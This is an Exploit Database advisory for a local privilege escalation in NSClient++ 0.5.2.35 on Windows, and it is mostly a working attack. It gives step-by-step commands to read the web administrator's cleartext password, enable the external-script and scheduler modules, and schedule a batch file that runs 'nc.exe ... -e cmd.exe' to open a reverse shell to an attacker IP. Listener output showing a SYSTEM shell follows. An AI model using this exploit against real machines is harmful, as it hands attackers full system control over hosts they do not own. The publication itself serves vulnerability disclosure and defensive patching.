NSClient++ 0.5.2.35 – Privilege Escalation

• Exploit Database
• 15 阅读

• 作者： bzyo
  日期： 2019-05-06
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/46802/

• Exploit Author: bzyo
  Twitter: @bzyo_
  Exploit Title: NSClient++ 0.5.2.35 - Privilege Escalation
  Date: 05-05-19
  Vulnerable Software: NSClient++ 0.5.2.35
  Vendor Homepage: http://nsclient.org/
  Version: 0.5.2.35
  Software Link: http://nsclient.org/download/
  Tested on: Windows 10 x64
  
  Details:
  When NSClient++ is installed with Web Server enabled, local low privilege users have the ability to read the web administator's password in cleartext from the configuration file.From here a user is able to login to the web server and make changes to the configuration file that is normally restricted.
  
  The user is able to enable the modules to check external scripts and schedule those scripts to run.There doesn't seem to be restrictions on where the scripts are called from, so the user can create the script anywhere.Since the NSClient++ Service runs as Local System, these scheduled scripts run as that user and the low privilege user can gain privilege escalation.A reboot, as far as I can tell, is required to reload and read the changes to the web config.
  
  Prerequisites:
  To successfully exploit this vulnerability, an attacker must already have local access to a system running NSClient++ with Web Server enabled using a low privileged user account with the ability to reboot the system.
  
  Exploit:
  1. Grab web administrator password
  - open c:\program files\nsclient++\nsclient.ini
  or
  - run the following that is instructed when you select forget password
  	C:\Program Files\NSClient++>nscp web -- password --display
  	Current password: SoSecret
  
  2. Login and enable following modules including enable at startup and save configuration
  - CheckExternalScripts
  - Scheduler
  
  3. Download nc.exe and evil.bat to c:\temp from attacking machine
  	@echo off
  	c:\temp\nc.exe 192.168.0.163 443 -e cmd.exe
  
  4. Setup listener on attacking machine
  	nc -nlvvp 443
  
  5. Add script foobar to call evil.bat and save settings
  - Settings > External Scripts > Scripts
  - Add New
  	- foobar
  		command = c:\temp\evil.bat
  
  6. Add schedulede to call script every 1 minute and save settings
  - Settings > Scheduler > Schedules
  - Add new
  	- foobar
  		interval = 1m
  		command = foobar
  
  7. Restart the computer and wait for the reverse shell on attacking machine
  	nc -nlvvp 443
  	listening on [any] 443 ...
  	connect to [192.168.0.163] from (UNKNOWN) [192.168.0.117] 49671
  	Microsoft Windows [Version 10.0.17134.753]
  	(c) 2018 Microsoft Corporation. All rights reserved.
  
  	C:\Program Files\NSClient++>whoami
  	whoami
  	nt authority\system
  	
  Risk:
  The vulnerability allows local attackers to escalate privileges and execute arbitrary code as Local System